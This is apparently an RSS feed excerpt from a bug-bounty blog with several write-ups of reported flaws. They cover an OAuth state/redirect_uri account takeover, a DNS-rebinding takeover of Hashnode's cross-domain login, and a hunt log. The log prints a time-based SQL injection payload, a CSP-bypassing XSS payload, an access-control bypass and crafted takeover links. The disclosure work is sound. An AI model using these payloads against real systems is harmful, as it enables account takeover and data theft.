]]></content:encoded></item><item><title><![CDATA[Drilling the redirect_uri in OAuth]]></title><description><![CDATA[I’ve been hunting for several years as a part-time hunter and have discovered many vulnerabilities. My most focused area, and my favorite, is the authentication class, which includes sign-up, sign-in, forgot password, 2FA, account deletion, etc. Nowa...]]></description><link>https://blog.voorivex.team/drilling-the-redirecturi-in-oauth</link><guid isPermaLink="true">https://blog.voorivex.team/drilling-the-redirecturi-in-oauth</guid><category><![CDATA[oauth]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[account takeover]]></category><dc:creator><![CDATA[Voorivex]]></dc:creator><pubDate>Fri, 11 Oct 2024 19:23:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1728604435684/98c1f8f5-5855-4677-b783-c8edaae70c76.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I’ve been hunting for several years as a part-time hunter and have discovered many vulnerabilities. My most focused area, and my favorite, is the authentication class, which includes sign-up, sign-in, forgot password, 2FA, account deletion, etc. Nowadays, most websites have OAuth authentication beside normal credentials login, and many newcomers skip the OAuth.</p>
<p>It’s reasonable since OAuth has a pre-defined standard implementation that ensures security by containing best practices. You may find many vulnerabilities in laboratory environments such as PortSwigger’s. The main misconfigurations are</p>
<ul>
<li><p>Manipulation of the <code>redirect_uri</code> parameter to steal the OAuth token. This is due to the provider; in many cases, the providers are safe enough because they have been tested many times, such as Google, etc. Roughly ten years ago, as far as I remember, the first time <a target="_blank" href="https://x.com/nirgoldshlager">Nir Goldshlager</a> found the flaw in Facebook’s OAuth redirect-uri quirks, which made any website using Facebook as the provider vulnerable. Even after the fix had been issued by Facebook, he managed to bypass the patch. It was a fantastic finding at the time.</p>
</li>
<li><p>Chaining the Open Redirect with a legitimate <code>redirect_uri</code> to steal the OAuth token. This is not the provider's fault, since they securely check the <code>redirect_uri</code> and redirect the user back to the right place, but the Open Redirect breaks the security.</p>
</li>
</ul>
<p>However, in the second case, the <code>state</code> parameter ensures that the flow is safe. Despite having an Open Redirect on a website, the <code>state</code> parameter does not allow an attacker to steal users’ OAuth tokens. You may ask why? Since the <code>state</code> parameter value is bound to the user session, the attacker cannot trick the user to grab their token as well. Almost all OAuth authentications have a <code>state</code> parameter, so as a hunter, should we give up testing OAuth logins? The answer is NO :)</p>
<h2 id="heading-attacking-scenarios">Attacking Scenarios</h2>
<p>There are many attack vectors against OAuth logins depending on the setup. I’m not going to go through all of them, but I will discuss a case I’ve encountered several times, even in <strong>famous public HackerOne programs</strong> that I cannot name right now. Let me list three of them:</p>
<ul>
<li><p>Capability of <code>redirect_uri</code> manipulation → Provider’s flaw</p>
</li>
<li><p>Chaining <code>redirect_uri</code> + open redirect + lack of state check → website’s flaw</p>
</li>
<li><p>Capability <code>redirect_uri</code> manipulation + lack of state check → website’s flaw</p>
</li>
</ul>
<p>But wait a minute, the third one is not possible since <code>redirect_uri</code> checks are applied by the providers. Yes, you are right, so let's keep reading.</p>
<h2 id="heading-different-flow">Different Flow</h2>
<p>As mentioned, OAuth has a fairly standard and secure implementation. However, due to scalability or other factors that I do not even know, companies decide to alter the normal flow. This "out of normal" always needs double security checks, not only in OAuth but also in other technologies, such as login, 2FA, etc. The normal and simplified flow is something like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728599781570/59adae31-2de7-49a2-b45f-b6609bed6e0d.png" alt class="image--center mx-auto" /></p>
<p>The authentication factor (Cookie or JWT) is issued immediately after the user is redirected back from the provider, using the code. Another pattern which I see, mostly in Application logins (not the web applications) is to extend the flow:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728600239402/b13b7797-fd80-469c-9d5e-8a18add6ce5e.png" alt class="image--center mx-auto" /></p>
<p>Here, as observed, there is an in-between phase before the authentication token is issued. An in-between redirect, honestly, I have no idea what it is for; maybe they have multiple channels for different platforms (Mobile, App, Web, etc.).</p>
<h2 id="heading-the-vulnerability">The Vulnerability</h2>
<p>In the previous flow, if the state value is not properly checked and the second redirect URL is controllable by attackers, the OAuth system will be vulnerable, matching the third bullet point in the attack scenarios. Let me bring an example from one of my reports. During the hunting, I reached an OAuth in a MacOS application. The initial URL just after clicking on the “Login with Apple” button was:</p>
<pre><code class="lang-http"><span class="hljs-attribute">https://www.redacted.com/lvpc_web/apple_auth
?login_id=95812a37-cb82-4789-bc73-dbe5f1079274</span>
</code></pre>
<p>The response was a 301 redirect to the following URL:</p>
<pre><code class="lang-http"><span class="hljs-attribute">https://appleid.apple.com/auth/authorize
?client_id=com.redacted.web
&amp;redirect_uri=https%3A%2F%2Fredacted.com%2Flv%2Fv1%2Fcallback%2Fapple%2Flogin
&amp;response_type=code%20id_token
&amp;state=%7B%22platform%22%3A%22apple%22%2C%22id%22%3A%2295812a37-cb82-4789-bc73-dbe5f1079274%22%2C%22redirect_uri%22%3A%22https%3A%2F%2Fwww.redacted.com%2Flvpc_web%2Flogin_status%22%7D
&amp;scope=name%20email
&amp;response_mode=form_post
&amp;frame_id=28f353fe-1c0e-4be6-b95a-3141f07b7f16
&amp;m=11
&amp;v=1.5.5</span>
</code></pre>
<p>The <code>redirect_uri</code> in the query string is completely safe (the provider is Apple), and there is no attack here. Let’s take a closer look at the <code>state</code> parameter:</p>
<pre><code class="lang-http">{
  "platform": "apple",
  "id": "95812a37-cb82-4789-bc73-dbe5f1079274",
  "redirect_uri": "https://www.redacted.com/lvpc_web/login_status"
}
</code></pre>
<p>Here is the second <code>redirect_uri</code>, which is entirely outside the OAuth protocol. The parameter name could have been different, like <code>rPath</code>, and the value could also have been relative, such as <code>/lvpc_web/login_status</code>. Fortunately, my tests proved that the backend was not checking the <code>state</code> parameter. So I changed the <code>redirect_uri</code> to the illegitimate URL <code>https://attacker.com</code> and got a mismatch error. Here, I did some magic with <code>@</code> and found out that <code>https://www.redacted.com@attacker.com/</code> is acceptable, which allowed me to discover a one-click Account Takeover using a basic trick and some careful observation. If the URL were relative, I would definitely try to convert it into a full URL and add some tricks. As the state wasn't validated, I could craft a malicious link by setting the second <code>redirect_uri</code> parameter to my domain using the at-sign trick.</p>
<h2 id="heading-final-words">Final Words</h2>
<p>Chasing the root cause, we will end up with "outside normal behavior" or "custom implementation". I discovered many vulnerabilities due to this root cause. In the example above, the programmer modified OAuth by adding an extra step. They used the <code>state</code> parameter to store data in a way it wasn't meant to be used, and on top of that, they didn't properly check the state value. So, if I want to end this post with some tips, they would be:</p>
<ul>
<li><p>Check every OAuth channel one by one; do not skip any. If the target has "sign in with [several providers]," check all of them</p>
</li>
<li><p>If the program has a mobile or application, apply the previous steps to them too</p>
</li>
<li><p>Look for odd changes made by programmers. If there is a custom section, pay extra attention to it, as they might have overlooked security there</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Account Takeover due to DNS Rebinding]]></title><description><![CDATA[Hello guys, after a long time, I decided to write a blog post. I chose a vulnerability that I recently uncovered in Hashnode. As you may have already noticed, I set up this blog on Hashnode. Naturally, when I use a third-party service like this, I sp...]]></description><link>https://blog.voorivex.team/account-takeover-due-to-dns-rebinding</link><guid isPermaLink="true">https://blog.voorivex.team/account-takeover-due-to-dns-rebinding</guid><category><![CDATA[dns-rebinding]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[account takeover]]></category><dc:creator><![CDATA[Voorivex]]></dc:creator><pubDate>Tue, 17 Sep 2024 13:57:21 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1726581562658/5f23cbfc-a118-44f0-982f-df9f5c50eb74.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hello guys, after a long time, I decided to write a blog post. I chose a vulnerability that I recently uncovered in Hashnode. As you may have already noticed, I set up this blog on Hashnode. Naturally, when I use a third-party service like this, I spend a few hours checking their security as a concerned customer.</p>
<p>The first eye-catching feature in Hashnode is cross-domain authentication. Personally, when I hunt, I always look for authentication class vulnerabilities, which I’m stronger in, especially when an authentication token is transferring among different places. Hashnode has an option for blog owners to have their own domain, as you are reading this post on <code>blog.voorivex.team</code> and not the Hashnode website.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726568742364/371af222-d13c-459d-afbb-22f6a45d14ce.png" alt class="image--center mx-auto" /></p>
<p>It's not a big deal. By setting a simple <code>cname</code> record in the DNS server, you can verify that the domain belongs to the user, and the traffic will be redirected to Hashnode servers:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726568789469/46060c51-18ff-4530-bb83-d8df08ebab2e.png" alt class="image--center mx-auto" /></p>
<p>From a backend perspective, everything is the same, except for the <code>host</code> header of the HTTP packet. Since the IP address is the same for all of Hashnode’s blogs, Hashnode uses the <code>host</code> header to determine which blog should be loaded. However, from a browser's perspective, the URLs are different. We all know that browsers store data based on the <code>Origin</code>:</p>
<ul>
<li><p>https://hashnode.com</p>
</li>
<li><p>https://blog.voorivex.team</p>
</li>
</ul>
<p>So, if a user enters credentials and logs into the Hashnode website, they should repeat the procedure to log into <code>blog.voorivex.team</code> too. To be user-friendly, Hashnode uses an authentication transfer, which means when somebody has an authentication session on the Hashnode website, they will automatically get an authentication session on other CNAMed domains too. But how?</p>
<h2 id="heading-cross-domain-authentication">Cross-Domain Authentication</h2>
<ol>
<li><p>The user opens <a target="_blank" href="http://hashnode.com/authenticate">hashnode.com/authenticate</a> equipped with <strong>JWT authentication Cookie</strong>. The HTTP request has a parameter named <strong>next</strong> which is responsible for redirecting the user back:</p>
<pre><code class="lang-http"> GET /authenticate?next=https%3A%2F%2Fblog.voorivex.team%2F HTTP/1.1
 Host: hashnode.com
 Cookie: redacted
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate, br
 Referer: https://blog.voorivex.team/
 Upgrade-Insecure-Requests: 1
 Sec-Fetch-User: ?1
 Te: trailers
 Connection: close
</code></pre>
<p> The response:</p>
<pre><code class="lang-http"> HTTP/2 307 Temporary Redirect
 Age: 0
 Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
 Content-Security-Policy: default-src *; script-src * 'unsafe-eval' 'unsafe-inline'; style-src * 'unsafe-inline'; font-src *; img-src * data:
 Date: Mon, 15 Apr 2024 15:25:10 GMT
 Location: https://hashnode.dev/identity?guid=f4e4e11f-4c6f-43b7-ab41-6483c52a0b4d&amp;next=https%3A%2F%2Fblog.voorivex.team%2F
 Referrer-Policy: origin-when-cross-origin
 Server: Vercel
 Strict-Transport-Security: max-age=63072000
 X-Content-Type-Options: nosniff
 X-Frame-Options: deny
 X-Matched-Path: /authenticate
 X-Vercel-Cache: MISS
 X-Vercel-Id: fra1::pdx1::pldpk-1713194710837-255be6ebcd6a
 Content-Length: 112

<span class="apache"> <span class="hljs-attribute">https</span>://hashnode.dev/identity?guid=f<span class="hljs-number">4</span>e<span class="hljs-number">4</span>e<span class="hljs-number">11</span>f-<span class="hljs-number">4</span>c<span class="hljs-number">6</span>f-<span class="hljs-number">43</span>b<span class="hljs-number">7</span>-ab<span class="hljs-number">41</span>-<span class="hljs-number">6483</span>c<span class="hljs-number">52</span>a<span class="hljs-number">0</span>b<span class="hljs-number">4</span>d&amp;next=https%<span class="hljs-number">3</span>A%<span class="hljs-number">2</span>F%<span class="hljs-number">2</span>Fblog.voorivex.team%<span class="hljs-number">2</span>F</span>
</code></pre>
</li>
<li><p>There is an intermediate phase here which Hashnode checks <strong>token</strong> and <strong>next</strong> URL before redirecting the user back:</p>
<pre><code class="lang-http"> GET /identity?guid=f4e4e11f-4c6f-43b7-ab41-6483c52a0b4d&amp;next=https%3A%2F%2Fblog.voorivex.team%2F HTTP/1.1
 Host: hashnode.dev
 Cookie: redacted
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate, br
 Referer: https://blog.voorivex.team/
 Upgrade-Insecure-Requests: 1
 Sec-Fetch-User: ?1
 Te: trailers
 Connection: close
</code></pre>
</li>
<li><p>If the user has a valid <strong>JWT authentication Cookie and legitimate next URL value</strong>, they will be redirected back to the <strong>value of next parameter</strong>  (in this case, <a target="_blank" href="http://blog.voorivex.team">blog.voorivex.team</a> which is legitimate in Hashnode)</p>
<pre><code class="lang-http"> HTTP/2 307 Temporary Redirect
 Age: 0
 Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
 Content-Security-Policy: default-src *; script-src * 'unsafe-eval' 'unsafe-inline'; style-src * 'unsafe-inline'; font-src *; img-src * data:
 Date: Mon, 15 Apr 2024 15:25:11 GMT
 Location: https://blog.voorivex.team/identity?guid=f4e4e11f-4c6f-43b7-ab41-6483c52a0b4d&amp;next=https://blog.voorivex.team/
 Referrer-Policy: origin-when-cross-origin
 Server: Vercel
 Set-Cookie: redacted
 Max-Age=315360000; Domain=.hashnode.dev; HttpOnly
 Strict-Transport-Security: max-age=63072000
 X-Content-Type-Options: nosniff
 X-Frame-Options: deny
 X-Matched-Path: /identity
 X-Vercel-Cache: MISS
 X-Vercel-Id: fra1::pdx1::8tmnc-1713194711393-f85cf186df76
 Content-Length: 110

<span class="apache"> <span class="hljs-attribute">https</span>://blog.voorivex.team/identity?guid=f<span class="hljs-number">4</span>e<span class="hljs-number">4</span>e<span class="hljs-number">11</span>f-<span class="hljs-number">4</span>c<span class="hljs-number">6</span>f-<span class="hljs-number">43</span>b<span class="hljs-number">7</span>-ab<span class="hljs-number">41</span>-<span class="hljs-number">6483</span>c<span class="hljs-number">52</span>a<span class="hljs-number">0</span>b<span class="hljs-number">4</span>d&amp;next=https://blog.voorivex.team/</span>
</code></pre>
</li>
<li><p>The user opens <a target="_blank" href="http://blog.voorivex.team">blog.voorivex.team</a> with an <strong>Authentication Token</strong> and if it is a valid token, they will be provided with a <strong>JWT authentication Cookie</strong></p>
</li>
</ol>
<p>Here is the flow of cross-domain authentication:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726579373820/46f3955f-f181-49be-9b2b-21a3fc3751b6.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-dns-rebinding">DNS Rebinding</h2>
<p>I'm not going to explain the DNS rebinding vulnerability here; a quick search will give you plenty of information. The important questions for me were:</p>
<blockquote>
<p>How is the <a target="_blank" href="https://hashnode.com/authenticate?next=https%3A%2F%2Fattacker.voorivex.team%2F"><code>next</code></a> parameter value validated in the backend? Can the value be anything, or does it just match against the database? What if I change the DNS records of the verified domain?</p>
</blockquote>
<p>As observed, in the final stage of the flow, if the token is valid, the user will receive a <strong>JWT authentication Cookie</strong>. If the <strong>next URL</strong> can be manipulated, the <strong>GUID token</strong> can be stolen, leading to an account takeover. Although the checker function in the backend is quite secure, let's address this question: how does Hashnode define legitimate domains? How does the <code>next_check()</code> function operate? Upon investigation, it was found that Hashnode verifies the <strong>next URL</strong> against <strong>its database</strong>, which includes lists of <strong>custom domains</strong>. Therefore, an attacker could bind a legitimate domain to their account to manipulate the whitelist. Here's the attacking scenario via DNS Rebinding:</p>
<ol>
<li><p>The attacker binds a legitimate domain pointing to <strong>hashnode.network</strong>, in this case <code>https://attacker.voorivex.team</code></p>
</li>
<li><p>Since this URL is considered legitimate, the <strong>next URL</strong> can also be set as <code>https://attacker.voorivex.team</code></p>
</li>
<li><p>The attacker then changes the DNS value of <code>attacker.voorivex.team</code> to their <strong>own IP address</strong> (Before launching the attack, they obtain a valid SSL certificate)</p>
</li>
<li><p>Despite changing the DNS records, the <strong>next URL</strong> remains <strong>valid</strong> as <code>https://attacker.voorivex.team</code>. It may take a significant amount of time for Hashnode to update its database (or DNS cache). Since the attacker does not remove their domain from the whitelist, just manipulates DNS records, the domain remains considered legitimate in Hashnode's system</p>
</li>
</ol>
<p>The attacker provides the victim with a link: <code>https://hashnode.com/authenticate?next=https%3A%2F%2Fattacker.voorivex.team%2F</code>. If the victim clicks on this link, their <strong>GUID token</strong> will be stolen. The attacker can then produce a <strong>JWT</strong> using the stolen <strong>GUID token</strong>, gaining unauthorized access to the victim's account.</p>
<h2 id="heading-automation">Automation</h2>
<p>I wrote a Python script to <strong>automatically</strong> change the <strong>DNS record</strong> and then open the malicious URL on behalf of the victim. This ensures that the attack will work every time if the victim opens the attacker’s website. In terms of CVSS calculation, the attack complexity is low, making the overall vulnerability score 8.0 (High). The script:</p>
<div class="gist-block embed-wrapper" data-gist-show-loading="false" data-id="2e1ead0c0c898be1cb24b5f873216249"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a href="https://gist.github.com/Voorivex/2e1ead0c0c898be1cb24b5f873216249" class="embed-card">https://gist.github.com/Voorivex/2e1ead0c0c898be1cb24b5f873216249</a></div><p> </p>
<h2 id="heading-responsible-disclosure">Responsible Disclosure</h2>
<p>Immediately after finding the flaw, I reported it to Hashnode. There is no obvious BBP for Hashnode, but a <a target="_blank" href="https://hashnode.notion.site/Want-to-report-a-security-vulnerability-50a9e0bc9b2d4d918841e0110cb2fb9f">brief documentation</a> worked for me. After about 20 days, they patched the vulnerability and issued a bounty to me.</p>
]]></content:encoded></item><item><title><![CDATA[$20,300 Bounties from a 200 Hour Hacking Challenge]]></title><description><![CDATA[Back to July 2023, Mohammad Nikouei and I decided to dedicate 100 hours to working on the public BB program on BugCrowd. We worked on the program part-time, spending 4 to 6 hours per day on it each. The program we chose was a famous and big company, ...]]></description><link>https://blog.voorivex.team/20300-bounties-from-a-200-hour-hacking-challenge</link><guid isPermaLink="true">https://blog.voorivex.team/20300-bounties-from-a-200-hour-hacking-challenge</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[hacking]]></category><category><![CDATA[ Web Application Security]]></category><dc:creator><![CDATA[Mohammad Zaheri]]></dc:creator><pubDate>Tue, 05 Mar 2024 17:00:37 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1709583314623/a61902d8-11ae-44a1-9e4e-c48084a905e5.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Back to July 2023, Mohammad Nikouei and I decided to dedicate 100 hours to working on the public BB program on BugCrowd. We worked on the program part-time, spending 4 to 6 hours per day on it each. The program we chose was a famous and big company, since it was a public program, considering the program's leaderboard, many famous hunters have worked on it. This is where the beginners immediately stop and skip. We are not saying that we are a professional one, However, we but the way we think could give us a chance to work on the program, it was so challenging for us and we didn't consider the amount of bounty as a success result, but a learning and working process. So we specified a time period challenge (200 hours totally) instead of bounty amount. The reason made us write this post, was various techniques we've used during our hunt period, furthermore, we mainly want to share both mindset and technical details for beginners or ever mid-level hunters.</p>
<h2 id="heading-choose-a-program">Choose a Program</h2>
<p>When it comes to choosing a program, we can assert that it's one of the most challenging phases in hunting. The program should fit with your skills and have the capacity for long-term work. We've roughly spent 10 hours (5 each) to kick off our journey. We totally preferred wide-scoped programs which range from old to modern architectures and programming languages with good payout time and a professional triage team.</p>
<p>The final reason, and actually the main one, was that <a target="_blank" href="https://hackerone.com/todayisnew">todayisnew</a> (who doesn't know him?) was listed in first place on the leaderboard. This motivated us, and we asked each other: if he's managed to uncover many vulnerabilities, why can't we? I hope you understand our point from this statement: don't underestimate yourself, as each hunter has a unique mindset when it comes to testing a website.</p>
<h2 id="heading-reconnaissance"><strong>Reconnaissance</strong></h2>
<p>We used various techniques to identify as many assets as possible to work with, as having more space increases the chance of discovering a vulnerability. To mention a few briefly:</p>
<ul>
<li><p><strong>Certificate Search</strong></p>
</li>
<li><p><strong>Leveraging IP to Asset Discovery</strong></p>
</li>
<li><p><strong>Using CSP Headers</strong></p>
</li>
<li><p><strong>Google Dorks</strong></p>
</li>
<li><p><strong>Using Google Analytics id</strong></p>
</li>
<li><p><strong>Static and Dynamic DNS Brute force</strong></p>
</li>
<li><p><strong>OSINT</strong></p>
</li>
</ul>
<p>Let's expand some of the bullets above.</p>
<h3 id="heading-certificate-search"><strong>Certificate Search</strong></h3>
<p>The common certificate search which everybody do is to search on <code>Common Name</code>; However, the certificate has different parts such as <code>Organization</code> field etc. There are some sites searching the Net and saving certificates, such as <a target="_blank" href="https://www.shodan.io/">shodan</a> or <a target="_blank" href="http://censys.io">censys</a>. there may be other alternatives. Since we cannot name the program as we haven't granted their permission, we make our example on Apple company:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696069274080/56fdabe3-0cd8-4e9b-9ad6-b699b02e3b6d.png" alt class="image--center mx-auto" /></p>
<p>By using the following command, root domains of Apple company can be enumerated:<br /><code>curl -s "</code><a target="_blank" href="https://crt.sh/?O=Apple%20Inc.&amp;output=json"><code>https://crt.sh/?O=Apple%20Inc.&amp;output=json</code></a><code>" | jq -r ".[].common_name" | tr A-Z a-z | unfurl format %r.%t | sort -u | tee apple.cert.txt</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696069599645/1ee4195b-50ba-4cc2-8787-dc3903302edb.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-leveraging-ip-to-asset-discovery"><strong>Leveraging IP to Asset Discovery</strong></h3>
<p>Each company may own some CIDRs, sometimes it's mostly impossible to find this CIDRs as the name of owner is vague; However, the CDIR with sign of the company (Apple in the ASN name). To find IPs, CIDRs, and ASNs, a lot of ways can be used, with one of my favorite ways being the utilization of <a target="_blank" href="http://ipip.net">ipip.net</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696071025040/cb823b2a-4d18-49fd-9864-fcf2bd3a2aae.png" alt class="image--center mx-auto" /></p>
<p>We Scanned all CIDR, ASN, and IPs belonging to the company and extracted certificate info and we found some domains. By the following command, <code>alternative names</code> and <code>common names</code> can be found:</p>
<p><code>echo AS714 | tlsx -san -cn -silent -resp-only</code></p>
<h3 id="heading-osint"><strong>OSINT</strong></h3>
<p>You may already have read about the techniques above on the Net. However, as a white-hat hacker or hunter, you should continuously think out of the box. In this phase, after we've finished technical discovery, we turned to OSINT. We started searching on the Net aimlessly, just reading some news about the company to figure out something new (we didn't actually know what we were looking for, just browsing). At this moment, a huge milestone arrived for us. The company had a news blog, and when I accidentally saw a blog post, I found a domain like this <code>championscompany.com</code>. I checked it with my recon results, and it didn't exist in my list of domains.<br />Afterwards, I checked all 5,000 of the company's blog posts manually and found 60 interesting domains that didn't exist in my recon results.</p>
<h2 id="heading-vulnerabilities"><strong>Vulnerabilities</strong></h2>
<p>We found a couple of fascinating (at least for us) security vulnerabilities during our hunt journey. Let's begin with a simple one. To avoid boring the write-up, we write about interesting ones.</p>
<h3 id="heading-access-all-users-data-by-a-swagger-pii-leakage"><strong>Access all Users' Data by a Swagger / PII leakage</strong></h3>
<p>We discovered the <code>test.target.tld</code> subdomain through static DNS brute force (literally test keyword). We found an authentication-less Swagger UI giving service on port 5000. There were approximately 100 APIs that appeared to be protected by authentication; however, we began testing each one individually (boring but necessary). Surprisingly, we discovered exactly 10 open APIs, and 2 of them were leaking PII, as shown below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696088209423/ad69555a-d9f1-4099-bb81-3eb66e110438.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-two-sql-injections"><strong>Two SQL Injections</strong></h3>
<p>One of the most effective phases of hunting or penetration testing is threat modeling. Once we understand our target's context, we can prepare our test cases and attacking scenarios. Threat modeling is very crucial; you cannot spray or fuzz payloads blindly as you will have no results considering the time you've spent. If the application is not modern (legacy) and has load fields from the database, (in this case, select country) we test time-based payloads on these fields.</p>
<p>We discovered 2 SQLis with <code>1'XOR(SELECT CASE WHEN(1234=1234) THEN SLEEP(7) ELSE 0 END)XOR'Z</code> payload:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696088711245/b3c04dc1-f7f3-416c-9f4e-7a0eb7f65977.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696088721245/e1992641-8fa8-4e29-9d19-79bd1a19c573.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-all-pii-leakage"><strong>All PII Leakage</strong></h3>
<p>We tried to fetch user information by changing the numeric ID in a request, similar to what many hunters do, but faced a 403 error. We then switched the request method to <code>PATCH</code>, a tactic some hunters use, but it didn't work there either. Our key strategy, however, involved adding specific headers. By including <code>Accept: application/json</code>, we successfully received a 200 OK response. When We browsed the application we saw a request like this:</p>
<pre><code class="lang-plaintext">GET /users/58158 HTTP/2
Host: www.target.com
Cookie: x
Content-Length: 0
Sec-Ch-Ua:
</code></pre>
<p>We changed the numeric ID and got 403 error, for bypass, We changed the method to <code>PATCH</code> and added <code>Accept: application/json</code></p>
<pre><code class="lang-plaintext">PATCH /users/58158 HTTP/2
Host: www.target.com
Cookie: x
Content-Length: 0
Sec-Ch-Ua: 
Accept: application/json
</code></pre>
<p>The result:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696090828754/3cf22968-6ec0-42fa-968d-4da68337825d.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-stored-xss"><strong>Stored XSS</strong></h3>
<p>Anywhere the editor uses text is an interesting environment for testing XSS. However, in most cases, it filters out dangerous tags using regex, so we shouldn't get discouraged here and continue testing. When we browsed the application, we discovered the posts field. In the posts field, you can write post notes like Twitter. But they had CSP, and we must bypass this. We used this payload to bypass CSP:</p>
<p><code>xss&lt;script/src="https://www&amp;#x2e;google&amp;#x2e;com/complete/search?client=chrome&amp;q=hello&amp;callback=alert#1"&gt; "&gt;&lt;/script&gt;</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696091206203/a33d2c2f-710f-4fd5-a404-9c15319053a2.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-access-to-employees-domain-led-to-leak-all-transactions">Access to <strong>Employee's Domain Led to Leak All Transactions</strong></h3>
<p>During our reconnaissance, we discovered a particularly interesting domain that included the word <code>demo</code> in its name, such as <code>companydemonew.com</code>. This domain only offered options to log in or sign up. To sign up, a company email address, like <code>mamad@company.com</code>, was required:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1709584826982/35e3ea5a-31f9-4b83-8c8b-d341ca05b0e5.png" alt class="image--center mx-auto" /></p>
<p>We signed up with <a target="_blank" href="mailto:mamad@company.com.brupcollabatror.com"><code>mamad@company.com.burpcollaborator.com</code></a> and we were able to bypass the signup process and get activation email!</p>
<p>Since the domain was not publicly accessible, we anticipated numerous vulnerabilities in post-authentication. Our expectations were met shortly after exploring the site's features. As a result, by simply changing the numeric ID from 35 to 36, we discovered a significant IDOR.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708451205565/c18252c0-1e40-4ca1-9f08-3e286a22695b.png" alt class="image--center mx-auto" /></p>
<p>The result:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708451177141/d6bda928-fd17-4bab-bdaa-f9597b97f612.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-wpengine-config-file">WPEngine Config File</h3>
<p>Using a public wordlist, you can find some bugs, but a custom wordlist can uncover more. With our private wordlist, we were able to find the <code>WPEngine</code> config file:<br /><code>https://target.com/_wpeprivate/config.json</code></p>
<p>Result:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708451675556/788157d6-7ea0-458d-83ff-303bc42de891.png" alt class="image--center mx-auto" /></p>
<p><strong>Other Vulnerabilities</strong></p>
<ul>
<li><p>x2 Database Credentials Leakage</p>
</li>
<li><p>x1 Account Takeover</p>
</li>
<li><p>x10 Reflected XSS</p>
</li>
<li><p>x2 Information Disclosure</p>
</li>
<li><p>x2 Business Logic</p>
</li>
<li><p>x2 Subdomain Takeover</p>
</li>
</ul>
<h2 id="heading-total-hours">Total Hours</h2>
<p>We tracked our time daily using the <a target="_blank" href="https://apps.apple.com/us/app/toggl-track-hours-time-log/id1291898086">toggl track</a> application to evaluate our progress at the end of the journey. The results are shown in the picture:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1696096512476/fadc27cc-a582-46fd-ba61-3c94bce8e81c.png" alt class="image--center mx-auto" /></p>
<p>We spent around 200 hours (100 hours per person) on our hunting event.</p>
<h3 id="heading-total-bounties">Total Bounties</h3>
<p>After reaching our goal of working together for 200 hours, we paused our hunting and waited for the open reports to be processed. It took almost 5 months to receive bounties for all the reports. In the end, we earned $20,300 from our journey. I hope you find our writeup useful, feel free to leave us comments, thank you.</p>
]]></content:encoded></item><item><title><![CDATA[Hijacking OAuth Code via Reverse Proxy for Account Takeover]]></title><description><![CDATA[Recon:
The target scope I had selected was fixed to the main application:
1377.targetstaging.app

In the first phase of my narrow recon approach, I utilized various services like Archive, Google, and Yahoo to extract endpoints and different paths.
Ho...]]></description><link>https://blog.voorivex.team/hijacking-oauth-code-via-reverse-proxy-for-account-takeover</link><guid isPermaLink="true">https://blog.voorivex.team/hijacking-oauth-code-via-reverse-proxy-for-account-takeover</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[Security]]></category><category><![CDATA[oauth]]></category><category><![CDATA[Reverse Proxy]]></category><dc:creator><![CDATA[Omid Rezaei]]></dc:creator><pubDate>Fri, 17 Nov 2023 18:02:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1700243293419/8c4b7106-432c-4552-9c17-69b2c7ef16e6.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-recon">Recon:</h3>
<p>The target scope I had selected was fixed to the main application:</p>
